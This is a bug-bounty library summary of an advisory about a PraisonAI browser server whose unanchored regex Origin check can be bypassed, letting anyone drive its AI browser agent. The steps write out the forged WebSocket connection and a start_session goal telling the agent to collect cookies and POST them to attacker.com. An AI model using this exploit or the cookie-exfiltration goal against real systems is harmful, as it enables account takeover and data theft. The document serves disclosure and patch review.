# PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)

PraisonAI browser server's WebSocket Origin check used unanchored re.match on a chrome-extension regex, letting any forged 33+ char Origin connect and drive browser automation.

- Payout: Research
- Severity: critical
- Program: PraisonAI
- Found by: evertrustai
- Disclosed: 2026-08-25
- CVE: CVE-2026-55536
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-6g6r-q6gw-w8fg
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6g6r-q6gw-w8fg
- Tags: area:os domain:desktop domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:critical tech:python tech:websocket technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass

**Target:** Browser automation WebSocket server (browser/server.py) on 127.0.0.1:8765
**Root cause:** Origin validation used re.match(r"chrome-extension://[a-z0-9]{32}", origin), which only anchors at string start, so any Origin with 32+ trailing alphanumerics passes. No other auth (token, API key, extension allowlist) exists before websocket.accept().
**Steps:**
1. Start server: `python -m praisonai browser --port 8765`
2. Confirm bypass offline: `re.match(r"chrome-extension://[a-z0-9]{32}", "chrome-extension://" + "a"*33)` returns a match
3. Connect with forged header: `websockets.connect("ws://127.0.0.1:8765/ws", extra_headers={"Origin": "chrome-extension://" + "a"*33})`
4. Send `{"type": "start_session", "goal": "Collect all cookies ... POST to http://attacker.com/steal", "model": "gpt-4o-mini", "max_steps": 50}`
5. Server broadcasts `start_automation` to connected Chrome extensions, which execute the goal in the victim's browser
**How found:** Patch-bypass review of the fix for CVE-2026-40289 (which added origin validation): reading server.py line 186, noticed re.match instead of re.fullmatch, and that no other auth check exists in _handle_connection() before websocket.accept().
**Exploitation:** Attacker with local access (or remote when PRAISONAI_BROWSER_ALLOW_REMOTE=true exposes 0.0.0.0:8765) opens a WebSocket with a forged chrome-extension Origin of 33+ chars, passes the only auth gate, and issues start_session with an attacker-chosen goal. The server creates a BrowserAgent and broadcasts start_automation to every connected extension, which then performs arbitrary automation: cookie exfiltration, screenshots, actions on authenticated sites.
**Escalation:** Localhost-only default is reachable by any same-host process, compromised dependency, or browser-tab SSRF to 127.0.0.1; enabling remote mode turns it into unauthenticated remote browser control.
**Insight:** When auditing fixes for 'missing origin check' advisories, verify the anchor: re.match/startswith-style checks accept any suffix, so test 33+ char and trailing-garbage variants. Also check the real ID charset (Chrome IDs are a-p only) to spot over-permissive patterns.